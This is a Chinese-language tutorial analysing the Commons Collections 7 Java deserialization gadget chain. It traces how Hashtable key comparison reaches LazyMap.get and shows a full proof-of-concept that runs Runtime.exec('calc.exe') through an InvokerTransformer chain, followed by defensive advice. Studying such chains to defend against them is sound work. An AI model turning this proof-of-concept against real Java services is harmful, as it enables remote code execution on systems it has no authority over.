Java安全 CC链7分析
字数 1560 2025-08-18 17:33:05
Commons Collections 7 反序列化漏洞分析
漏洞概述
Commons Collections 7 (CC7) 是 Apache Commons Collections 库中的一个反序列化漏洞,与 CC1 类似,但触发 LazyMap.get() 方法的流程不同。CC7 通过 Hashtable 类触发漏洞,利用链如下:
Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut -> LazyMap.equals
(LazyMap 未实现 equals,找父类 AbstractMapDecorator.equals)
AbstractMapDecorator.equals -> HashMap.equals
(HashMap 未实现 equals,找父类 AbstractMap.equals)
AbstractMap.equals -> LazyMap.get
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
漏洞利用链分析
1. 反序列化起点 - Hashtable.readObject
Hashtable 的反序列化入口是 readObject 方法:
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// 读取基本属性
s.defaultReadObject();
// 读取原始数组长度和元素数量
int origlength = s.readInt();
int elements = s.readInt();
// 计算新的大小
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
// ... 长度调整逻辑 ...
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// 读取所有键值对
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// 关键点:调用 reconstitutionPut 方法
reconstitutionPut(table, key, value);
}
}
2. Hashtable.reconstitutionPut 方法
reconstitutionPut 方法负责将键值对放入哈希表:
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// 确保键不在哈希表中
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// 创建新条目
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
3. 触发 LazyMap.equals
漏洞触发的关键在于 e.key.equals(key) 这一行:
- 第一次调用
reconstitutionPut时,tab为空,直接存入键值对 - 第二次调用时,会检查键是否已存在,调用
e.key.equals(key)e.key是第一个LazyMap(map1)key是第二个LazyMap(map2)
4. 方法调用链
LazyMap 没有实现 equals 方法,调用链如下:
LazyMap.equals→ 调用父类AbstractMapDecorator.equalsAbstractMapDecorator.equals→ 调用map.equals(object)map是创建LazyMap时传入的HashMap
HashMap.equals→ 调用父类AbstractMap.equals
5. AbstractMap.equals 关键点
AbstractMap.equals 方法的关键部分:
public boolean equals(Object o) {
// ... 省略部分代码 ...
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // 关键点:调用 LazyMap.get
return false;
}
}
}
// ... 省略部分代码 ...
}
这里会调用 m.get(key),其中 m 是我们的第二个 LazyMap,从而触发 LazyMap.get 方法。
POC 分析
package com.ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class CommonCollections7 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 构造 Transformer 链
Transformer transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
});
// 创建两个 HashMap
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 装饰为 LazyMap
Map map1 = LazyMap.decorate(hashMap1, transformerChain);
map1.put("1", 1);
Map map2 = LazyMap.decorate(hashMap2, transformerChain);
map2.put("2", 2);
// 创建 Hashtable 并放入两个 LazyMap
Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(map2, 2);
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
byteArrayOutputStream.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();
// 反序列化触发漏洞
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
关键步骤解析
-
Transformer 链构造:
- 使用
ChainedTransformer组合多个Transformer - 最终执行
Runtime.getRuntime().exec("calc.exe")
- 使用
-
LazyMap 创建:
- 创建两个
HashMap并装饰为LazyMap - 分别放入不同的键值对 (
"1",1和"2",2)
- 创建两个
-
Hashtable 利用:
- 将两个
LazyMap作为键放入Hashtable - 序列化后再反序列化时触发漏洞
- 将两个
-
漏洞触发流程:
- 反序列化时
Hashtable.readObject调用reconstitutionPut reconstitutionPut中比较两个LazyMap时调用equalsequals方法最终调用LazyMap.getLazyMap.get触发Transformer链执行命令
- 反序列化时
防御措施
- 升级 Apache Commons Collections 到安全版本
- 使用 Java 反序列化过滤器 (ObjectInputFilter)
- 避免反序列化不可信数据
- 使用白名单机制限制可反序列化的类
总结
CC7 漏洞利用 Hashtable 反序列化时比较键的特性,通过 LazyMap.equals 方法调用链最终触发 LazyMap.get 方法执行恶意代码。与 CC1 相比,CC7 提供了另一种触发 LazyMap.get 的路径,增加了漏洞利用的灵活性。理解这一漏洞有助于更好地防御 Java 反序列化攻击。